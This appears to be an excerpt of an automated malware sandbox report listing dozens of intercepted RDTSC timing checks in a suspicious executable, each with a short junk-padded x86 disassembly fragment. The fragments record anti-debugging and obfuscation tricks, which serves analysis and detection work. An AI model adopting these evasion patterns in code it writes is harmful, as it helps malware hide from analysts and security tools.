Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 4F602EA second address: 4F60330 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D8517B912h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx edi, ax 0x00000010 pushfd 0x00000011 jmp 00007F0D8517B916h 0x00000016 add si, ACD8h 0x0000001b jmp 00007F0D8517B90Bh 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 4F60330 second address: 4F60335 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 4F6035F second address: 4F60377 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0D8517B914h 0x00000009 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 4F60377 second address: 4F6037B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF13B6 second address: FF13DB instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0D8517B906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F0D8517B919h 0x00000011 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF13DB second address: FF13FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D84D62028h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push esi 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FC0672 second address: FC06E7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jc 00007F0D84D62016h 0x0000000d pop ebx 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 or dword ptr [ebp+122D183Dh], ecx 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebx 0x0000001d call 00007F0D84D62018h 0x00000022 pop ebx 0x00000023 mov dword ptr [esp+04h], ebx 0x00000027 add dword ptr [esp+04h], 0000001Ch 0x0000002f inc ebx 0x00000030 push ebx 0x00000031 ret 0x00000032 pop ebx 0x00000033 ret 0x00000034 xor di, F4F7h 0x00000039 call 00007F0D84D62019h 0x0000003e pushad 0x0000003f jnl 00007F0D84D6201Ch 0x00000045 jnl 00007F0D84D62016h 0x0000004b jmp 00007F0D84D62024h 0x00000050 popad 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 push esi 0x00000055 push edx 0x00000056 pop edx 0x00000057 pop esi 0x00000058 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FC088E second address: FC08AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0D8517B919h 0x00000009 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FC08AF second address: FC0903 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F0D8517B908h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 00000019h 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 mov edx, ecx 0x00000025 push ebx 0x00000026 movzx edi, cx 0x00000029 pop edi 0x0000002a push 00000000h 0x0000002c cmc 0x0000002d call 00007F0D8517B909h 0x00000032 push ecx 0x00000033 jmp 00007F0D8517B910h 0x00000038 pop ecx 0x00000039 push eax 0x0000003a pushad 0x0000003b push esi 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FC0903 second address: FC093F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push esi 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 pop esi 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jnl 00007F0D84D62037h 0x00000014 mov eax, dword ptr [eax] 0x00000016 push ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FC0943 second address: FC09CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D84D62027h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e pushad 0x0000000f jmp 00007F0D84D62025h 0x00000014 jno 00007F0D84D62018h 0x0000001a popad 0x0000001b pop eax 0x0000001c mov cl, 8Ah 0x0000001e push 00000003h 0x00000020 push 00000000h 0x00000022 push edx 0x00000023 call 00007F0D84D62018h 0x00000028 pop edx 0x00000029 mov dword ptr [esp+04h], edx 0x0000002d add dword ptr [esp+04h], 00000014h 0x00000035 inc edx 0x00000036 push edx 0x00000037 ret 0x00000038 pop edx 0x00000039 ret 0x0000003a clc 0x0000003b push 00000000h 0x0000003d movzx ecx, ax 0x00000040 or dword ptr [ebp+122D1B14h], ecx 0x00000046 push 00000003h 0x00000048 jp 00007F0D84D62021h 0x0000004e js 00007F0D84D6201Bh 0x00000054 push C7DDA189h 0x00000059 pushad 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FC09CB second address: FC0A30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jnp 00007F0D8517B90Ch 0x0000000b popad 0x0000000c xor dword ptr [esp], 07DDA189h 0x00000013 mov edx, eax 0x00000015 or dword ptr [ebp+122D339Bh], esi 0x0000001b lea ebx, dword ptr [ebp+1245258Ah] 0x00000021 push 00000000h 0x00000023 push esi 0x00000024 call 00007F0D8517B908h 0x00000029 pop esi 0x0000002a mov dword ptr [esp+04h], esi 0x0000002e add dword ptr [esp+04h], 00000015h 0x00000036 inc esi 0x00000037 push esi 0x00000038 ret 0x00000039 pop esi 0x0000003a ret 0x0000003b jmp 00007F0D8517B910h 0x00000040 or edx, 289F7802h 0x00000046 push eax 0x00000047 js 00007F0D8517B910h 0x0000004d push eax 0x0000004e push edx 0x0000004f push edi 0x00000050 pop edi 0x00000051 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FC0AA8 second address: FC0B46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 jmp 00007F0D8517B90Ch 0x0000000d push 00000000h 0x0000000f movsx esi, cx 0x00000012 push C557B7A8h 0x00000017 jmp 00007F0D8517B916h 0x0000001c add dword ptr [esp], 3AA848D8h 0x00000023 jnc 00007F0D8517B90Bh 0x00000029 or cx, CB62h 0x0000002e push 00000003h 0x00000030 push 00000000h 0x00000032 push esi 0x00000033 call 00007F0D8517B908h 0x00000038 pop esi 0x00000039 mov dword ptr [esp+04h], esi 0x0000003d add dword ptr [esp+04h], 00000017h 0x00000045 inc esi 0x00000046 push esi 0x00000047 ret 0x00000048 pop esi 0x00000049 ret 0x0000004a push edx 0x0000004b xor dword ptr [ebp+122D36BDh], esi 0x00000051 pop esi 0x00000052 add si, 0124h 0x00000057 push 00000000h 0x00000059 clc 0x0000005a push 00000003h 0x0000005c add edi, 22F52181h 0x00000062 push 9A50CA96h 0x00000067 push eax 0x00000068 push edx 0x00000069 push ebx 0x0000006a jmp 00007F0D8517B916h 0x0000006f pop ebx 0x00000070 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FE0187 second address: FE0195 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F0D84D62016h 0x0000000a push eax 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDE64B second address: FDE65D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D8517B90Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDE65D second address: FDE66D instructions: 0x00000000 rdtsc 0x00000002 je 00007F0D84D62022h 0x00000008 jns 00007F0D84D62016h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDE7BD second address: FDE7C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jng 00007F0D8517B906h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDE7C9 second address: FDE7E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D84D62025h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDE7EA second address: FDE81D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D84D62021h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F0D84D62026h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDE81D second address: FDE837 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D8517B916h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDE837 second address: FDE849 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0D84D62018h 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007F0D84D62016h 0x00000010 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDECF8 second address: FDED02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F0D8517B906h 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FDF40B second address: FDF426 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jl 00007F0D8517B906h 0x0000000c popad 0x0000000d push esi 0x0000000e jl 00007F0D8517B906h 0x00000014 push edi 0x00000015 pop edi 0x00000016 pop esi 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FE2311 second address: FE2323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jc 00007F0D8517B906h 0x00000012 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FA5A86 second address: FA5AB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 jc 00007F0D84D62018h 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jmp 00007F0D84D6201Ch 0x00000016 push edi 0x00000017 jp 00007F0D84D62016h 0x0000001d jc 00007F0D84D62016h 0x00000023 pop edi 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FEB2BE second address: FEB2D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D8517B911h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FEA79A second address: FEA7AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007F0D8517B906h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FEAA53 second address: FEAA6D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F0D8517B918h 0x0000000c jmp 00007F0D8517B90Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FEAF92 second address: FEAFAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D84D62023h 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FEAFAA second address: FEAFC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0D8517B917h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FF0535 second address: FF055A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F0D84D6202Bh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: FFEFDB second address: FFEFEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0D8517B90Ch 0x00000009 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1000022 second address: 100002C instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0D84D62016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 100BE17 second address: 100BE26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jp 00007F0D84D62016h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1069354 second address: 1069361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jnl 00007F0D8517B906h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 106A4F8 second address: 106A516 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F0D8517B915h 0x0000000e rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1070C7F second address: 1070C95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D84D62022h 0x00000009 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1070F26 second address: 1070F4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D8517B919h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F0D8517B906h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 107D8CB second address: 107D8DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D8517B90Bh 0x00000009 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 107D8DA second address: 107D8F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D84D62021h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 107D42F second address: 107D47A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0D84D62025h 0x00000008 pushad 0x00000009 popad 0x0000000a js 00007F0D84D62016h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 push eax 0x00000015 jmp 00007F0D84D62024h 0x0000001a pop eax 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e jmp 00007F0D84D6201Ch 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 107D5A9 second address: 107D5C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 pushad 0x00000007 ja 00007F0D8517B906h 0x0000000d jg 00007F0D8517B906h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 107D5C2 second address: 107D5DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F0D84D62016h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F0D84D6201Bh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 1082A61 second address: 1082A71 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0D84D62016h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10824A7 second address: 10824B9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0D8517B906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007F0D8517B90Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10957AB second address: 10957B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F0D84D62016h 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10957BB second address: 1095804 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F0D84D6201Ch 0x0000000c jbe 00007F0D84D62016h 0x00000012 push esi 0x00000013 pushad 0x00000014 popad 0x00000015 push edx 0x00000016 pop edx 0x00000017 pop esi 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F0D84D62022h 0x00000020 push esi 0x00000021 jmp 00007F0D84D62024h 0x00000026 jbe 00007F0D84D62016h 0x0000002c pop esi 0x0000002d rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 109C9A0 second address: 109C9AA instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0D8517B906h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 109C9AA second address: 109C9B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F0D84D62016h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10A1ADE second address: 10A1AEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D84D6201Ah 0x00000009 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10A1AF2 second address: 10A1B0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F0D84D6202Bh 0x0000000c jmp 00007F0D84D6201Fh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10A6B76 second address: 10A6B98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jnl 00007F0D84D62016h 0x0000000c jmp 00007F0D84D6201Dh 0x00000011 pop ecx 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10A6B98 second address: 10A6BAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F0D8517B906h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jno 00007F0D8517B906h 0x00000016 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10A6BB2 second address: 10A6BC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007F0D8517B908h 0x0000000e push edx 0x0000000f pop edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10C0734 second address: 10C075B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push esi 0x00000007 push edx 0x00000008 pop edx 0x00000009 jp 00007F0D84D62016h 0x0000000f pop esi 0x00000010 pushad 0x00000011 jng 00007F0D84D62016h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d pushad 0x0000001e popad 0x0000001f pushad 0x00000020 popad 0x00000021 popad 0x00000022 pushad 0x00000023 pushad 0x00000024 popad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10C08AC second address: 10C08D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F0D8517B90Eh 0x0000000a jmp 00007F0D8517B914h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10CD635 second address: 10CD655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F0D84D62027h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10D15E9 second address: 10D15F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jns 00007F0D8517B906h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10D1CE2 second address: 10D1CEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007F0D84D62016h 0x0000000d rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10D1CEF second address: 10D1CF9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0D8517B906h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10D1E8A second address: 10D1EAC instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0D84D62016h 0x00000008 jmp 00007F0D84D62023h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push edi 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10D37A7 second address: 10D37BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D8517B90Dh 0x00000007 pushad 0x00000008 jbe 00007F0D8517B906h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 10D63A5 second address: 10D63E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F0D84D62018h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 00000014h 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 jmp 00007F0D84D62020h 0x00000028 push 00000004h 0x0000002a push 0A3AD682h 0x0000002f push esi 0x00000030 push eax 0x00000031 push edx 0x00000032 push edx 0x00000033 pop edx 0x00000034 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 4BF026D second address: 4BF0272 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 4BF0272 second address: 4BF0286 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0D8517B910h 0x00000009 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 4BF0286 second address: 4BF02F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov ebx, eax 0x0000000c movzx eax, di 0x0000000f popad 0x00000010 xchg eax, ebp 0x00000011 pushad 0x00000012 call 00007F0D84D62021h 0x00000017 movzx esi, dx 0x0000001a pop edi 0x0000001b pushad 0x0000001c jmp 00007F0D84D62028h 0x00000021 jmp 00007F0D84D62022h 0x00000026 popad 0x00000027 popad 0x00000028 mov ebp, esp 0x0000002a jmp 00007F0D84D62020h 0x0000002f pop ebp 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 4BF02F3 second address: 4BF02F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\1000115002\6b11689b40.exe	RDTSC instruction interceptor: First address: 4BF02F7 second address: 4BF0314 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D84D62029h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
